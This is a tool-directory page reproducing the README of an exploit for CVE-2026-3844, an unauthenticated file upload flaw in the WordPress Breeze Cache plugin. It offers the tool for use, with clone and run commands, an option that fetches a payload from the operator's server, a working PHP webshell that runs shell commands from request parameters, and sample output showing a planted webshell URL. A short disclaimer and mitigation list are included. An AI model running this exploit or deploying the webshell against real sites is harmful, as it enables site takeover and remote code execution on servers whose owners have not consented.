Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-3844 — WordPress - Breeze Cache <= 2.4.4 - Unauthenticated Arbitrary File Upload | Kitploit
Tools/GitHubGitHub/0xgh057r3c0n/cve-2026-3844
Vulnerability ScannersExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHub0xgh057r3c0n/cve-2026-3844

CVE-2026-3844

WordPress - Breeze Cache <= 2.4.4 - Unauthenticated Arbitrary File Upload

View Repository
114 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
WordPress Logo

CVE-2026-3844

Breeze Cache ≤ 2.4.4 - Unauthenticated Arbitrary File Upload

MIT License Python 3.6+ WordPress


⚠️ Disclaimer

root@kitploit:~
THIS TOOL IS PROVIDED FOR EDUCATIONAL AND SECURITY RESEARCH PURPOSES ONLY.
Unauthorized access to computer systems is illegal. Use this tool only on
systems you own or have explicit permission to test. The author assumes
no liability for any misuse or damage caused by this software.

📋 Description

CVE-2026-3844 is a critical unauthenticated arbitrary file upload vulnerability in plugin for WordPress (versions ≤ 2.4.4). The plugin fails to properly validate the parameter in comments, allowing remote attackers to upload malicious files (including webshells) to the server.

Breeze Cache
srcset

🔴 Severity

  • CVSS Score: 9.8 (Critical)
  • Attack Vector: Network
  • Authentication Required: No
  • Impact: Remote Code Execution (RCE)

🎯 Affected Versions

  • Breeze Cache ≤ 2.4.4
  • WordPress all versions (plugin-dependent)

🔧 Technical Details

The vulnerability exploits the Gravatar caching functionality in Breeze. When a comment is posted with a specially crafted srcset parameter containing a remote file URL, Breeze downloads and stores the file locally in:

root@kitploit:~
/wp-content/cache/breeze-extra/gravatars/[random_marker][file_extension]

Prerequisite: The "Host Files Locally - Gravatars" option must be enabled in Breeze settings.

🚀 Installation

root@kitploit:~
# Clone the repository
git clone https://github.com/0xgh057r3c0n/CVE-2026-3844.git
cd CVE-2026-3844

# Install dependencies
pip install pycurl termcolor

💻 Usage

Basic Usage

root@kitploit:~
python3 CVE-2026-3844.py -u http://target.com

Advanced Options

root@kitploit:~
# Check if target is vulnerable without exploitation
python3 CVE-2026-3844.py -u http://target.com --check-only

# Use custom payload URL
python3 CVE-2026-3844.py -u http://target.com -p http://your-server.com/payload.php

# Save output to file
python3 CVE-2026-3844.py -u http://target.com -o shells.txt

# Increase timeout for slow targets
python3 CVE-2026-3844.py -u http://target.com --timeout 30

Command Line Arguments

ArgumentDescription
-u, --urlTarget URL (required)
-p, --payloadRemote payload URL
--timeoutRequest timeout in seconds (default: 15)
--check-onlyOnly check if target is vulnerable
-o, --outputSave shell URL to file

📝 Custom Payload Example

Create your own webshell (shell.php):

root@kitploit:~
<?php
if(isset($_REQUEST['cmd'])) {
    echo "<pre>";
    system($_REQUEST['cmd']);
    echo "</pre>";
}
?>

Host it somewhere accessible, then use:

root@kitploit:~
python3 CVE-2026-3844.py -u http://target.com -p http://your-server.com/shell.php

🔍 Verification String

The exploit automatically checks for the verification string 4356452d323032362d33383434 (hex encoded "CVE-2026-3844") in the uploaded file to confirm successful exploitation.

🛡️ Mitigation

  1. Update Breeze Cache to version 2.4.5 or higher
  2. Disable "Host Files Locally - Gravatars" if not needed
  3. Implement Web Application Firewall (WAF) rules
  4. Regularly audit comment functionality

📸 Screenshot

root@kitploit:~
[*] PHASE 1: VULNERABILITY ASSESSMENT
[*] Checking Breeze plugin version...
[+] Target VULNERABLE (Breeze v2.4.4)

[*] PHASE 2: EXPLOITATION
[!] REQUIREMENT: 'Host Files Locally - Gravatars' MUST BE ENABLED
[*] Step 1: Sending malicious comment...
[+] Comment posted successfully
[*] Step 2: Waiting for Breeze to cache the file...
[*] Step 3: Checking for uploaded file...
[+] File found at: http://target.com/wp-content/cache/breeze-extra/gravatars/x7k3m9p2.php
[+] VERIFICATION STRING FOUND - EXPLOIT SUCCESSFUL!

[✓] STATUS: SUCCESS
[✓] WEBSHELL URL: http://target.com/wp-content/cache/breeze-extra/gravatars/x7k3m9p2.php

📁 Directory Structure

root@kitploit:~
CVE-2026-3844/
├── CVE-2026-3844.py    # Main exploit script
├── README.md            # This file
└── LICENSE              # MIT License

📄 License

This project is licensed under the MIT License - see the LICENSE file for details.

🙏 Credits

  • Author: 0xgh057r3c0n
  • Discovery: Security research team
  • CVE ID: CVE-2026-3844

📞 Contact

  • GitHub: @0xgh057r3c0n
  • Report issues: GitHub Issues

⭐ Support

If you find this tool useful, please give it a star ⭐ on GitHub!


Built with 🐍 Python | For educational purposes only
Download Tool